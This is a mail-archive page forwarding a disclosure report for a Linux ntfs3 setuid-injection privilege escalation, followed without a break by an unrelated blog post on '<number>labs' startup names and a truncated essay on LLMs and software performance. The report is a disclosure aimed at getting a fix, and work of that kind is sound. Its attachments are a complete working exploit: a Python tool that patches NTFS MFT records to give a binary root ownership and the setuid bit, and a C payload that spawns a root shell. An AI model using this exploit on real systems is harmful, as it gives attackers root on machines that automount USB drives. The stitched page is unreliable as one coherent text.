    [-- Attachment #1.2: Type: text/html, Size: 3461 bytes --]
    
    [-- Attachment #2: InjectionBunny_report.md --]
    [-- Type: text/markdown, Size: 5785 bytes --]
    
    # InjectionBunny: NTFS3 SUID Injection LPE
    
    ## Summary
    
    A local privilege escalation vulnerability exists in the Linux kernel's ntfs3
    filesystem driver. The function `ntfs_get_wsl_perm()` in `fs/ntfs3/xattr.c`
    reads the `$LXMOD` extended attribute from NTFS on-disk data and assigns it
    directly to `inode->i_mode` without masking `S_ISUID` or `S_ISGID` bits.
    
    An attacker can craft an NTFS filesystem image containing a binary with
    `$LXUID=0` (root), `$LXGID=0` (root), and `$LXMOD=0104755`
    (S_ISUID | S_IFREG | 0755). When this image is mounted (e.g., via USB
    automount), the binary appears as a setuid-root executable. Any unprivileged
    user who runs it obtains `euid=0` and full root privileges.
    
    This attack is deterministic (no race, no heap spray), works on first attempt,
    and requires only physical access to plug in a USB drive (or ability to mount
    a loop device).
    
    ## Affected Versions
    
    - Linux 4.11+ (since ntfs3 WSL EA support)
    - The same pattern exists in both `fs/ntfs3/xattr.c` and `fs/ntfs/ea.c`
    - Confirmed on Linux 7.1.0 (aarch64)
    - All architectures affected (bug is in generic filesystem code)
    
    ## Affected Distributions
    
    Every Linux distribution with `CONFIG_NTFS3_FS` enabled (most modern distros):
    - Ubuntu 22.04+, Debian 12+, Fedora 36+, RHEL 9+, SUSE 15.4+, Arch Linux
    - Any system that automounts NTFS USB drives
    
    ## Root Cause
    
    In `fs/ntfs3/xattr.c`, function `ntfs_get_wsl_perm()` at line 1032:
    
    ```c
    void ntfs_get_wsl_perm(struct inode *inode)
    {
        __le32 value[3];
    
        if (ntfs_get_ea(inode, "$LXUID", ..., &value[0], ...) == sizeof(value[0]) &&
            ntfs_get_ea(inode, "$LXGID", ..., &value[1], ...) == sizeof(value[1]) &&
            ntfs_get_ea(inode, "$LXMOD", ..., &value[2], ...) == sizeof(value[2])) {
            i_uid_write(inode, (uid_t)le32_to_cpu(value[0]));
            i_gid_write(inode, (gid_t)le32_to_cpu(value[1]));
            inode->i_mode = le32_to_cpu(value[2]);  // NO MASK
        }
    }
    ```
    
    The raw on-disk `$LXMOD` value is assigned directly to `inode->i_mode` with
    no sanitization.
    
    The same vulnerability exists in the old ntfs driver at `fs/ntfs/ea.c` line
    390 in `ntfs_ea_get_wsl_inode()`.
    
    ## Proof of Concept
    
    ### Step 1: Attacker prepares the malicious USB drive (on attacker's machine)
    
    ```bash
    # Compile the payload binary (must be static, for target architecture)
    gcc -static -O2 -o suidhelper suidhelper.c
    
    # Create the NTFS image with injected SUID permissions
    python3 injection_bunny.py evil_usb.img ./suidhelper
    
    # Write to a physical USB drive
    dd if=evil_usb.img of=/dev/sdX bs=4M
    ```
    
    `injection_bunny.py` creates a minimal NTFS image by formatting with
    `mkfs.ntfs`, then patching raw MFT (Master File Table) records to inject
    `$LXUID=0`, `$LXGID=0`, `$LXMOD=0104755` extended attributes on the
    payload binary. These are Windows Subsystem for Linux (WSL) extended
    attributes that the Linux ntfs3 driver reads and trusts during inode
    initialization.
    
    ### Step 2: Victim plugs in the USB drive
    
    The Linux desktop automounts the NTFS drive (via udisks/udev). The kernel's
    ntfs3 driver reads the crafted WSL EAs and sets `inode->i_mode = 0104755`,
    making the binary appear as `-rwsr-xr-x root root` (setuid root).
    
    No user interaction required beyond plugging in the drive.
    
    ### Step 3: Any unprivileged user executes the binary
    
    ```bash
    /media/victim/USBDRIVE/pwn
    ```
    
    The kernel grants `euid=0` because the SUID bit is set and the file is
    owned by root (from `$LXUID=0`). The payload calls `setuid(0)` +
    `execve("/bin/sh")` and drops into a root shell.
    
    ### Demo Output (from QEMU test environment)
    
    ```
    ~ $ whoami
    victim
    
    ~ $ id
    uid=1000(victim) gid=1000(victim)
    
    ~ $ ls -la /mnt/usb/pwn
    -rwsr-xr-x    1 root     root        706400 /mnt/usb/pwn
    
    ~ $ ./exploit
    [>] Mounting crafted NTFS image...
    [>] Mounted at /mnt/usb
    [>] File: /mnt/usb/pwn mode=4755 uid=0
    [>] Dropping to uid=1000...
    [>] Running as uid=1000 gid=1000
    [>] Executing /mnt/usb/pwn ...
    
    [>] uid=0 euid=0 gid=0
    [>] Got root.
    
    /home/victim # whoami
    root
    ```
    
    ## Impact
    
    - **Confidentiality**: Full system access as root
    - **Integrity**: Arbitrary file modification, kernel module loading
    - **Availability**: System compromise
    
    CVSS 3.1: **6.8** (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
    
    Note: AV:P (Physical) because the primary attack vector is a crafted USB
    drive. If the attacker can mount loop devices, this becomes AV:L.
    
    ## Prerequisites
    
    - `CONFIG_NTFS3_FS=y` or `=m` (enabled in most modern distros)
    - NTFS volume mounted without `nosuid` option
    - Physical access (USB) or ability to mount loop devices
    
    ## Suggested Fix
    
    Mask dangerous permission bits when loading WSL EAs:
    
    ```c
    - inode->i_mode = le32_to_cpu(value[2]);
    + inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);
    ```
    
    The same fix should be applied to `fs/ntfs/ea.c`.
    
    ## Test Environment
    
    - **Kernel**: Linux 7.1.0 (tag v7.1)
    - **Architecture**: aarch64 (ARM64)
    - **VM**: QEMU aarch64 with HVF acceleration, 4GB RAM, 4 CPUs
    
    ## Reproduction Steps
    
    1. Compile the payload: `gcc -static -O2 -o suidhelper suidhelper.c`
    2. Create the image: `python3 injection_bunny.py evil_usb.img ./suidhelper`
       (requires `mkfs.ntfs` from ntfs-3g package)
    3. Write to USB: `dd if=evil_usb.img of=/dev/sdX bs=4M`
    4. Plug USB into target Linux machine
    5. As any unprivileged user: `/media/<user>/USBDRIVE/pwn`
    6. Result: root shell
    
    ## Files
    
    - `InjectionBunny.mov` - Video demo of the full exploit (victim to root)
    - `injection_bunny.py` - Runs on attacker's machine. Creates the malicious
      NTFS image by formatting with mkfs.ntfs and patching raw MFT records to
      inject WSL EAs ($LXUID=0, $LXGID=0, $LXMOD=0104755)
    - `suidhelper.c` - The payload binary that gets embedded in the NTFS image.
      When executed with euid=0 (from the SUID bit), it calls setuid(0) +
      execve("/bin/sh") to drop into a root shell
    
    [-- Attachment #3: injection_bunny.py --]
    [-- Type: text/x-python, Size: 14573 bytes --]
    
    #!/usr/bin/env python3
    """
    InjectionBunny - NTFS3 SUID Injection LPE
    
    Creates a malicious NTFS filesystem image. When this image is mounted
    (e.g., from a USB drive), a binary on it appears as setuid-root.
    Running it gives an interactive root shell.
    
    Usage:
        python3 injection_bunny.py [--helper /path/to/suidhelper] [--output evil_usb.img]
    """
    
    import struct
    import subprocess
    import sys
    import os
    import shutil
    import tempfile
    
    # NTFS constants
    MFT_RECORD_SIZE = 1024
    SECTOR_SIZE = 512
    ATTR_TYPE_EA = 0xE0
    ATTR_TYPE_EA_INFO = 0xD0
    ATTR_TYPE_END = 0xFFFFFFFF
    FILE_RECORD_MAGIC = b'FILE'
    
    # WSL EA values
    LXUID_VALUE = struct.pack('<I', 0)        # uid=0 (root)
    LXGID_VALUE = struct.pack('<I', 0)        # gid=0 (root)
    LXMOD_VALUE = struct.pack('<I', 0o104755) # S_IFREG | S_ISUID | 0755 = 0x89ED
    
    
    def build_ea_entry(name: bytes, value: bytes, next_offset: int = 0) -> bytes:
        """Build a single NTFS EA entry."""
        # EA entry format:
        #   4 bytes: NextEntryOffset (0 for last, offset to next entry from start of this one)
        #   1 byte: Flags (0)
        #   1 byte: EaNameLength (not counting null terminator)
        #   2 bytes: EaValueLength
        #   N bytes: EaName (null-terminated)
        #   M bytes: EaValue
        #   Padding to 4-byte boundary
        name_len = len(name)
        value_len = len(value)
        
        entry = struct.pack('<I', 0)  # NextEntryOffset (will be patched)
        entry += struct.pack('<B', 0)  # Flags
        entry += struct.pack('<B', name_len)  # EaNameLength
        entry += struct.pack('<H', value_len)  # EaValueLength
        entry += name + b'\x00'  # Name + null terminator
        entry += value
        
        # Pad to 4-byte boundary
        while len(entry) % 4 != 0:
            entry += b'\x00'
        
        return entry
    
    
    def build_ea_attribute(entries: list) -> bytes:
        """Build complete list of EA entries with correct NextEntryOffset values."""
        built_entries = []
        for name, value in entries:
            built_entries.append(build_ea_entry(name, value))
        
        # Now fix NextEntryOffset for all except the last
        result = b''
        for i, entry in enumerate(built_entries):
            if i < len(built_entries) - 1:
                # Patch NextEntryOffset to point to next entry
                offset = len(entry)
                entry = struct.pack('<I', offset) + entry[4:]
            result += entry
        
        return result
    
    
    def build_resident_attr(attr_type: int, data: bytes, name: bytes = b'') -> bytes:
        """Build a resident NTFS attribute header + data."""
        # Attribute header for resident:
        #   4 bytes: Type
        #   4 bytes: Length (total including header)
        #   1 byte: Non-resident flag (0 = resident)
        #   1 byte: Name length (in chars)
        #   2 bytes: Name offset
        #   2 bytes: Flags
        #   2 bytes: Instance
        #   4 bytes: Value length
        #   2 bytes: Value offset
        #   1 byte: Indexed flag
        #   1 byte: Padding
        
        name_len = len(name) // 2  # UTF-16 chars
        header_size = 24  # Fixed header size for resident attr
        name_offset = header_size if name_len > 0 else 0
        value_offset = header_size + len(name)
        # Align value to 8 bytes
        while value_offset % 8 != 0:
            value_offset += 1
        
        total_len = value_offset + len(data)
        # Align total to 8 bytes
        while total_len % 8 != 0:
            total_len += 1
        
        header = struct.pack('<I', attr_type)
        header += struct.pack('<I', total_len)
        header += struct.pack('<B', 0)  # Resident
        header += struct.pack('<B', name_len)
        header += struct.pack('<H', name_offset if name_len else header_size)
        header += struct.pack('<H', 0)  # Flags
        header += struct.pack('<H', 0)  # Instance
        header += struct.pack('<I', len(data))  # Value length
        header += struct.pack('<H', value_offset)  # Value offset
        header += struct.pack('<B', 0)  # Indexed
        header += struct.pack('<B', 0)  # Padding
        
        # Add name if any
        attr = header + name
        # Pad to value offset
        while len(attr) < value_offset:
            attr += b'\x00'
        attr += data
        # Pad to total length
        while len(attr) < total_len:
            attr += b'\x00'
        
        return attr
    
    
    def build_ea_info_data(ea_data: bytes) -> bytes:
        """Build EA_INFORMATION attribute data.
        
        EA_INFORMATION (0xD0):
          2 bytes: PackedEaSize (size of packed EA list)
          2 bytes: NeedEaCount
          4 bytes: UnpackedEaSize
        """
        packed_size = len(ea_data)
        return struct.pack('<HHI', packed_size, 0, packed_size)
    
    
    def fixup_mft_record(record: bytearray) -> bytearray:
        """Apply NTFS fixup (update sequence) to an MFT record."""
        # Read the update sequence offset and count from the record header
        usa_offset = struct.unpack_from('<H', record, 4)[0]
        usa_count = struct.unpack_from('<H', record, 6)[0]
        
        # The first entry in the USA is the update sequence number
        usn = struct.unpack_from('<H', record, usa_offset)[0]
        
        # For each sector in the record, restore the last 2 bytes from USA
        # and set the last 2 bytes to the USN
        # Actually for WRITING, we need to:
        # 1. Save the last 2 bytes of each sector into the USA array
        # 2. Write the USN into the last 2 bytes of each sector
        
        usn_new = (usn + 1) & 0xFFFF
        if usn_new == 0:
            usn_new = 1
        
        struct.pack_into('<H', record, usa_offset, usn_new)
        
        for i in range(1, usa_count):
            sector_end = i * SECTOR_SIZE - 2
            # Save original last 2 bytes into USA
            orig = struct.unpack_from('<H', record, sector_end)[0]
            struct.pack_into('<H', record, usa_offset + i * 2, orig)
            # Write USN at sector end
            struct.pack_into('<H', record, sector_end, usn_new)
        
        return record
    
    
    def undo_fixup(record: bytearray) -> bytearray:
        """Undo NTFS fixup to get raw record content."""
        usa_offset = struct.unpack_from('<H', record, 4)[0]
        usa_count = struct.unpack_from('<H', record, 6)[0]
        
        for i in range(1, usa_count):
            sector_end = i * SECTOR_SIZE - 2
            # Restore from USA
            orig = struct.unpack_from('<H', record, usa_offset + i * 2)[0]
            struct.pack_into('<H', record, sector_end, orig)
        
        return record
    
    
    def find_mft_offset(img_path: str) -> int:
        """Find the byte offset of the MFT in the NTFS image."""
        with open(img_path, 'rb') as f:
            # Read boot sector
            boot = f.read(512)
            # Bytes per sector at offset 0x0B (2 bytes)
            bytes_per_sector = struct.unpack_from('<H', boot, 0x0B)[0]
            # Sectors per cluster at offset 0x0D (1 byte)
            sectors_per_cluster = struct.unpack_from('<B', boot, 0x0D)[0]
            # MFT cluster number at offset 0x30 (8 bytes)
            mft_cluster = struct.unpack_from('<Q', boot, 0x30)[0]
            
            cluster_size = bytes_per_sector * sectors_per_cluster
            mft_offset = mft_cluster * cluster_size
            
            print(f"  Bytes/sector: {bytes_per_sector}")
            print(f"  Sectors/cluster: {sectors_per_cluster}")
            print(f"  Cluster size: {cluster_size}")
            print(f"  MFT cluster: {mft_cluster}")
            print(f"  MFT offset: {mft_offset} (0x{mft_offset:x})")
            
        return mft_offset
    
    
    def find_file_record(img_path: str, mft_offset: int, filename: str) -> int:
        """Find MFT record number for a given filename by scanning MFT entries."""
        target = filename.encode('utf-16-le')
        
        with open(img_path, 'rb') as f:
            # Scan MFT records (start from record 24+ which is where user files start)
            for rec_num in range(24, 256):
                offset = mft_offset + rec_num * MFT_RECORD_SIZE
                f.seek(offset)
                record = bytearray(f.read(MFT_RECORD_SIZE))
                
                if record[:4] != FILE_RECORD_MAGIC:
                    continue
                
                # Undo fixup to read attributes
                record = undo_fixup(record)
                
                # Check if this record contains our filename
                if target in record:
                    print(f"  Found '{filename}' at MFT record {rec_num} (offset 0x{offset:x})")
                    return rec_num
        
        return -1
    
    
    def inject_ea_into_record(img_path: str, mft_offset: int, rec_num: int, ea_data: bytes):
        """Inject EA attribute into an MFT record."""
        offset = mft_offset + rec_num * MFT_RECORD_SIZE
        
        with open(img_path, 'r+b') as f:
            f.seek(offset)
            record = bytearray(f.read(MFT_RECORD_SIZE))
        
        if record[:4] != FILE_RECORD_MAGIC:
            raise ValueError(f"Invalid MFT record at offset 0x{offset:x}")
        
        # Undo fixup
        record = undo_fixup(record)
        
        # Parse record header
        # Offset 0x14: first attribute offset
        first_attr_offset = struct.unpack_from('<H', record, 0x14)[0]
        # Offset 0x18: real size of record (used bytes)
        used_size = struct.unpack_from('<I', record, 0x18)[0]
        
        print(f"  Record first_attr_offset: {first_attr_offset}")
        print(f"  Record used_size: {used_size}")
        
        # Walk attributes to find the END marker
        pos = first_attr_offset
        last_attr_end = pos
        
        while pos < used_size - 8:
            attr_type = struct.unpack_from('<I', record, pos)[0]
            if attr_type == ATTR_TYPE_END:
                break
            attr_len = struct.unpack_from('<I', record, pos + 4)[0]
            if attr_len == 0 or attr_len > MFT_RECORD_SIZE:
                break
            last_attr_end = pos + attr_len
            pos += attr_len
        
        print(f"  END marker at offset {pos}")
        print(f"  Last attribute ends at {last_attr_end}")
        
        # Build EA_INFORMATION attribute (must come before EA)
        ea_info_data = build_ea_info_data(ea_data)
        ea_info_attr = build_resident_attr(ATTR_TYPE_EA_INFO, ea_info_data)
        
        # Build EA attribute
        ea_attr = build_resident_attr(ATTR_TYPE_EA, ea_data)
        
        # Check if there's enough space
        new_attrs_size = len(ea_info_attr) + len(ea_attr)
        available = MFT_RECORD_SIZE - pos - 8  # 8 for END marker + padding
        
        print(f"  EA_INFO attr size: {len(ea_info_attr)}")
        print(f"  EA attr size: {len(ea_attr)}")
        print(f"  Total new attrs: {new_attrs_size}")
        print(f"  Available space: {available}")
        
        if new_attrs_size + 8 > available:
            raise ValueError(f"Not enough space in MFT record! Need {new_attrs_size + 8}, have {available}")
        
        # Insert at pos (where END marker was)
        # Write EA_INFO, then EA, then END marker
        insert_pos = pos
        record[insert_pos:insert_pos + len(ea_info_attr)] = ea_info_attr
        insert_pos += len(ea_info_attr)
        record[insert_pos:insert_pos + len(ea_attr)] = ea_attr
        insert_pos += len(ea_attr)
        
        # Write END marker
        struct.pack_into('<I', record, insert_pos, ATTR_TYPE_END)
        struct.pack_into('<I', record, insert_pos + 4, 0)
        
        # Update used size in record header
        new_used = insert_pos + 8
        struct.pack_into('<I', record, 0x18, new_used)
        
        print(f"  New used size: {new_used}")
        
        # Apply fixup
        record = fixup_mft_record(record)
        
        # Write back
        with open(img_path, 'r+b') as f:
            f.seek(offset)
            f.write(record)
        
        print(f"  EA injected successfully!")
    
    
    def create_ntfs_image(img_path: str, size_mb: int = 8):
        """Create a fresh NTFS image using mkfs.ntfs."""
        print(f"[*] Creating {size_mb}MB NTFS image: {img_path}")
        
        # Create empty file
        with open(img_path, 'wb') as f:
            f.seek(size_mb * 1024 * 1024 - 1)
            f.write(b'\x00')
        
        # Format as NTFS
        subprocess.run(['mkfs.ntfs', '-F', '-Q', '-s', '512', img_path],
                       check=True, capture_output=True)
        print(f"  NTFS image created")
    
    
    def copy_file_to_ntfs(img_path: str, src_path: str, dst_name: str):
        """Copy a file into the NTFS image using ntfs-3g mount."""
        mount_point = tempfile.mkdtemp(prefix='ntfs_mount_')
        
        try:
            # Try mounting with ntfs-3g (FUSE)
            subprocess.run(['mount', '-t', 'ntfs-3g', '-o', 'loop,rw', img_path, mount_point],
                           check=True, capture_output=True)
            
            dst_path = os.path.join(mount_point, dst_name)
            shutil.copy2(src_path, dst_path)
            os.chmod(dst_path, 0o755)
            
            print(f"  Copied {src_path} -> {dst_name} in NTFS image")
            
            subprocess.run(['umount', mount_point], check=True, capture_output=True)
        except subprocess.CalledProcessError as e:
            print(f"  Mount/copy failed: {e.stderr.decode() if e.stderr else e}")
            # Try ntfscopy as fallback
            try:
                subprocess.run(['umount', mount_point], capture_output=True)
            except:
                pass
            try:
                subprocess.run(['ntfscp', img_path, src_path, dst_name],
                               check=True, capture_output=True)
                print(f"  Copied with ntfscp: {src_path} -> {dst_name}")
            except subprocess.CalledProcessError as e2:
                raise RuntimeError(f"Failed to copy file to NTFS: {e2}")
        finally:
            try:
                os.rmdir(mount_point)
            except:
                pass
    
    
    def main():
        if len(sys.argv) < 3:
            print(f"Usage: {sys.argv[0]} <output.img> <binary_to_inject>")
            print(f"  Creates NTFS image with the binary having SUID root via $LXMOD EA")
            sys.exit(1)
        
        img_path = sys.argv[1]
        binary_path = sys.argv[2]
        target_name = "pwn"
        
        if not os.path.exists(binary_path):
            print(f"[-] Binary not found: {binary_path}")
            sys.exit(1)
        
        print("=" * 60)
        print("  InjectionBunny - Crafting malicious NTFS image")
        print("=" * 60)
        print()
        
        create_ntfs_image(img_path)
        
        print(f"\n[*] Embedding payload binary as '{target_name}'")
        copy_file_to_ntfs(img_path, binary_path, target_name)
        
        print(f"\n[*] Locating filesystem metadata")
        mft_offset = find_mft_offset(img_path)
        
        print(f"\n[*] Patching file record")
        rec_num = find_file_record(img_path, mft_offset, target_name)
        if rec_num < 0:
            print(f"[-] Could not find '{target_name}' in image!")
            sys.exit(1)
        
        print(f"\n[*] Injecting setuid-root permissions into image metadata")
        
        ea_entries = [
            (b'$LXUID', LXUID_VALUE),
            (b'$LXGID', LXGID_VALUE),
            (b'$LXMOD', LXMOD_VALUE),
        ]
        ea_data = build_ea_attribute(ea_entries)
        
        inject_ea_into_record(img_path, mft_offset, rec_num, ea_data)
        
        print(f"\n[+] InjectionBunny image ready: {img_path}")
        print(f"[+] Write to USB drive or mount with: mount -t ntfs3 -o loop {img_path} /mnt")
        print(f"[+] Then run /mnt/{target_name} to get root shell")
        print()
    
    
    if __name__ == '__main__':
        main()
    
    [-- Attachment #4: suidhelper.c --]
    [-- Type: text/x-c-code, Size: 377 bytes --]
    
    #include <unistd.h>
    #include <stdio.h>
    
    int main(void)
    {
        setgid(0);
        setuid(0);
    
        printf("[>] uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid());
        printf("[>] Got root.\n\n");
    
        char *argv[] = { "sh", NULL };
        char *envp[] = { "PATH=/bin:/sbin:/usr/bin:/usr/sbin", "HOME=/root", "TERM=linux", NULL };
        execve("/bin/sh", argv, envp);
        return 1;
    }
    
    [-- Attachment #5: InjectionBunny.mov --]
    [-- Type: video/quicktime, Size: 10616310 bytes --]
    
    ^ permalink raw reply	[flat|nested] only message in thread

    only message in thread, other threads:[~2026-08-07 10:39 UTC | newest]
    
    Thread overview: (only message) (download: mbox.gz follow: Atom feed
    -- links below jump to the message on this page --
         [not found] <CAGBKPgMqBMsBH4mm2fwggA8rJZ3R15nPxuEh0emOeVpX2kgHPA@mail.gmail.com>
    2026-08-07 10:39 ` Fwd: InjectionBunny: NTFS3 SUID injection leading to local privilege escalation vova tokarev
    

    This is a public inbox, see mirroring instructions
    for how to clone and mirror all data and code used for this inbox;
    as well as URLs for NNTP newsgroup(s).

    ElevenLabs, TwelveLabs, ThirteenLabs

    Hacker News
    quantumi.sh
    2026-08-22 10:54:07
    Comments...
    Original Article

    You may have heard of the speech synthesis company ElevenLabs. Recently a friend mentioned they knew someone who worked at a company called Twelve Labs that does AI for video (it feels like it must have been intended to play on the fact that ElevenLabs does audio, but I don't know for sure). Jokingly, I googled "thirteenlabs" and was surprised to find an AI for 3D scenery project. I googled "fourteenlabs". Another AI startup…?? How far does this go?

    Numbers 0-99 annotated with links to companies using it + "labs" as their name.
    A link has a background if the company is AI-related.

    My loose criteria
    • The company must have some online presence (not necessarily a website, but usually one).
    • The word "labs" (or somtimes "lab") must either go after or before the number (spelled or numeric). There's plenty of companies named after a number - what I'm after is the weird trend of number + "labs".
    • If there were multiple, I picked the one that was most similar to ElevenLabs (and thus more likely to have gotten the name inspiration from there?).
    • Every company sort of wants to be an AI company now, so it's hard to definitely say what companies are AI related. I marked it if the domain had a .ai TLD or if all of their main products involved AI in a central capacity.

    This really just raised more questions than answers. Why is this such a popular naming scheme? Are people independently arriving at this naming scheme? Why call your AI startup "68labs"? Why are the seventies so much more dense than the rest of the higher numbers? Also, I'm tempted to speculatively buy up domains like "twentyfivelabs" or "thirtytwolabs"…

    One fun discovery: among all the incredibly same-y startup websites, there is seventyonelab.com . Alongside the usual "all rights reserved" text, it politely informs you it is

    best viewed in Netscape 4/0+ or IE 5.0+

    Amazing. It looks like a design/webdev portfolio from the early 2000s and is full of fun little sites. I particularly like the aesthetic of the landing page and the other versions of it in the "little project" section. They sort of remind me of what I recently heard referred to as the "vectorheart" aesthetic (like what you'd see on 2000s IDM album covers!).

    There continue to be reasons for software to be slow

    Lobsters
    typesanitizer.com
    2026-08-22 10:31:21
    Comments...
    Original Article

    Dan Luu recently published a blog post There’s no reason for software to be slow anymore which talks about how various kinds of things are cheaper to do nowadays by virtue of having access to LLMs such as building specialized solutions (e.g. JITs, indexes for search-like problems) as well as workload-specific optimizations.

    We’re not quite at the point where we want to write everything in assembly, but some variant of what Nolan Lawson said about testing, you can choose how many bugs you want now , which I less eloquently noted here, is becoming more true for performance.

    I believe that this statement as written is well-intentioned but incorrect, in much of the same way in which the statement made by Lawson is well-intentioned but incorrect, and in the same way that formal methods advocates arguing that an increasingly larger fraction The phrase “fraction” is deliberate here. If it were “quantity” instead, it really wouldn’t be a debate. of software will be formally verified are well-intentioned but incorrect. To be clear, I’m very much in favor of better testing, use of formal methods, as well as performance work! I’ve done work along these lines at multiple jobs, including my current one! It’s just that I don’t agree with these predictions about the future.

    In essence, the argument that’s been offered in all of these places goes something like: I’m using $ signs, but you could substitute in “engineer E’s time” if you’d like.

    1. Desirable property X used to cost $A over the budget $B
    2. Pre-LLMs, the reason people didn’t aim for X was it was over budget
    3. Post-LLMs, getting X costs $A/N < $B because N >> 1.

    If these premises hold, then people will now spend $A/N for X.

    On the face of it, if you’ve personally found LLMs useful at improving property X, the argument seems sensible. You might be thinking “this also assumes that people are rational economic actors with perfect knowledge.” Yes, that’s correct. Most of this post will assume that and show how things can go wrong even with such a strong assumption. In practice, yes people are not rational and don’t have perfect knowledge. I’m ignoring that for this post because there’s already a lot of writing on that topic. But it only works in practice if the premises hold.

    I agree that there are situations where these premises hold. Will certain highly experienced people with deep domain expertise (like the ones cited in Luu’s post) do a bunch more optimizations, or work on teams which ship many more optimizations than before? Yeah, I think that’s definitely going to happen.

    However, based on what I’ve seen so far, the situations in which the premises hold are far outweighed by the situations in which they do not hold.

    In this post, I’m going to give examples of situations in which I’ve seen these premises not holding.

    The tolerance for ‘not X’ goes up

    (Or: “the desirability for X goes down”)

    One of the differences with the advent of LLMs is that the work you would do synchronously now potentially needs to be done asynchronously, due to latency of agentic loop iterations.

    As a concrete example of this, I’ve been working on improving git performance for our monorepo at work recently. If you took the performance numbers we see today on a good day, and you gave them to me from 2022, and told me that people find the same numbers acceptable, I would likely have given you a very skeptical or confused look.

    As another example, the latency for LLM-based auto-complete used to be much higher than standard IDE auto-complete when it was introduced. This changed later as Cursor and other editors introduced smaller, specialized models for faster completions. Around that time, if you saw videos of developers live-coding, you’d notice them having small pauses waiting for the LLM suggestions. But historically, one of the reasons auto-completion was purportedly prized was the “instant” feedback!

    This point also applies to things like compilation speed, link times, time to run tests etc. In general, people’s tolerances for synchronous work and asynchronous work are quite different.

    If you’re a performance-minded person, it can be hard to accept that people are actually fine with putting up with worse performance in software, especially if you already believe that the performance of said software is “too slow.” It can be doubly-frustrating if the same people are willing to put up with worse performance specifically in exchange for more features , especially if you already believe that the said software is “too bloated.”

    The budget was zero from the start

    Outside of well-paying tech companies that treat developers well, granting them a fair amount of autonomy, it’s common in many companies for the software function to be perceived as a “cost center” instead of a “profit center”.

    There may not even be a CI process – it may be entirely reliant on manual QA. Getting budget approvals might take ages.

    And yet, the business might be doing well! For example, the company might have a government-granted monopoly. Or it might have some other form of power .

    If the environment is entirely focused on keeping costs low, it likely requires a fair bit of effort to convince a manager of the return on investment (RoI) of working on performance. It’s plausible that this effort is better spent elsewhere.

    The budget got reduced post-LLMs

    Say the budget started out at non-zero. For example, you might’ve already been spending about 1 week on performance every quarter. Depending on your past experience, this may sound ridiculously generous or way too low. I’m aware there’s a wide range. 🙂

    Even so, there’s an implicit assumption that the budget $B for obtaining the property X is unchanged post-LLMs. This assumption often fails to hold.

    If you browse the r/experienceddevs subreddit , it’s not uncommon to see engineers talking about how, over the past year, timelines for projects are getting squeezed tighter, because management expects things to take much less time due to LLMs.

    The cost reduction factor N is over-estimated

    It is one thing to implement an optimization. It is another thing to ship the optimization in heavily-used production software. It is yet another thing to set up a ratchet to prevent the code from regressing in the future. It is yet another thing to make sure the ratchet is reliable (low/no false negatives/positives), efficient (runs sufficiently quickly) and stable (doesn’t need constant upkeep).

    In my previous post on code review , I gave an example of a situation where a colleague tried to reduce latency for an operation by moving it to a background process, and increased the risk of a lock-acquisition failure.

    More generally, it’s easy for people unfamiliar with a system to jump in with “performance optimizations” that actually compromise an aspect of the design that is critical to correctness.

    As a more prominent example, Jarred Sumner (creator of Bun) supposedly had a fork of the Zig compiler with parallelized semantic analysis and codegen .

    One of the key contributors to the Zig compiler, Matthew Lugg, articulated why this change was not upstreamable (even ignoring the Zig policy on no LLM contributions)

    Parallel semantic analysis has been an explicitly planned feature of the Zig compiler for a long time, and it has heavily influenced the design of the self-hosted Zig compiler. However, implementing this feature correctly has implications not only for the compiler implementation, but for the Zig language itself! Therefore, to implement this feature without an avalanche of bugs and inconsistencies, we need to make language changes.

    (..) The rewritten type resolution semantics were designed to avoid these issues, but Bun’s Zig fork does not incorporate the changes (and has not otherwise solved the design problems), which means their parallelized semantic analysis implementation will exhibit non-deterministic behavior. That’s pretty much a non-starter for most serious developers: you don’t want your compilation to randomly fail with a nonsense error 30% of the time.

    Another way to look at this point is that the cost of writing the code is only one part of the picture. It may not be the dominant cost.

    As two high-level examples:

    • If there is already a large amount of data stored in a format that’s not amenable to optimized processing, the cost of optimizing performance needs to account for the cost of reorganizing the data into the right form, while maintaining the reliability, performance and correctness of existing read and write paths. It also needs to account for the cost of migrating the existing code.

      Worse, you might not even know all the read and write paths, in which case the cost of figuring those out needs to be taken into account.

    • If you’re paying for compute over the data, experimenting with different strategies to optimize the computation can itself be expensive.

      For example, if you’re hitting a flakiness bug only in 1/1000 CI runs, and you can’t reproduce it out of CI, then the cost of CI time to reproduce the bug with sufficient detail can easily dwarf the cost of writing the fix.

    Relatedly, one other challenge that comes up is that it’s more difficult to estimate the long tail of costs associated with maintenance: lost code comprehension lost due to the complexity of optimizations, the need to hire more experienced people who can maintain the system, additional correctness checks needed, and so on.

    Budget was never the reason for not aiming for X

    Instead of cost, I think it’s more useful to think about what work gets done in terms of priority.

    For simplicity, let’s say we’re talking about sprint-based planning. Say, on average, pre-LLMs, each person on the team tackled 4 tickets per sprint. Suppose that performance work usually ended up being #6 on the list for someone. At 4 tickets per sprint, this means the performance work would just keep staying on the sprint planning board across several sprints as an aspirational goal.

    If your experience is anything like mine, chances are you’ve had tickets which have passed through multiple sprints at sufficiently low priority, and that after a while, someone says “hey, we’re not tackling this, so it’s clearly not high priority, so should we just mark it as Canceled, at least until someone outside the team asks for it again?”

    Now, post-LLMs, say each person can tackle 12 items. Is that list going to stay the same, with just more items pulled in from the backlog so that everyone has enough work?

    I suspect the answer here for most people is going to be No. If you were not able to successfully advocate for performance work as a higher priority pre-LLMs, it’s unclear as to why you’d be able to do it post-LLMs. You can just do it on the side for sure (aka “asking for forgiveness instead of permission”), but you could also do that pre-LLMs.

    Re-visiting Luu’s examples

    From Luu’s post, there are two examples I’d like to discuss, because the code is available, and they represent complex tasks:

    1. pgrust: A rewrite of Postgres in Rust.
    2. FRE: A regex engine built by an agent loop running over a month.

    For pgrust, the headline here is excellent performance on ClickBench, supposedly due to the use of LLM-driven optimization. The other point that’s brought up is that supposedly people don’t write JITs (in the context of databases) because that’s too difficult, but LLMs make that accessible.

    Based on a cursory view, it’s unclear as to how much of this excellent performance is down to performance-hacking that overfits the benchmark vs an excellent design that generalizes. For example, if you look at the cost model , you’ll see that it explicitly references ClickBench all over the place.

    If you look at the profile-guided optimization corpus , it has queries like:

    -- A15 composite (smallint, string) group + count
    SELECT URLCategoryID, UTMSource, COUNT(*) AS n FROM hits WHERE UTMSource <> '' GROUP BY URLCategoryID, UTMSource ORDER BY n DESC LIMIT 12;

    If you look at ClickBench, line number 15 :

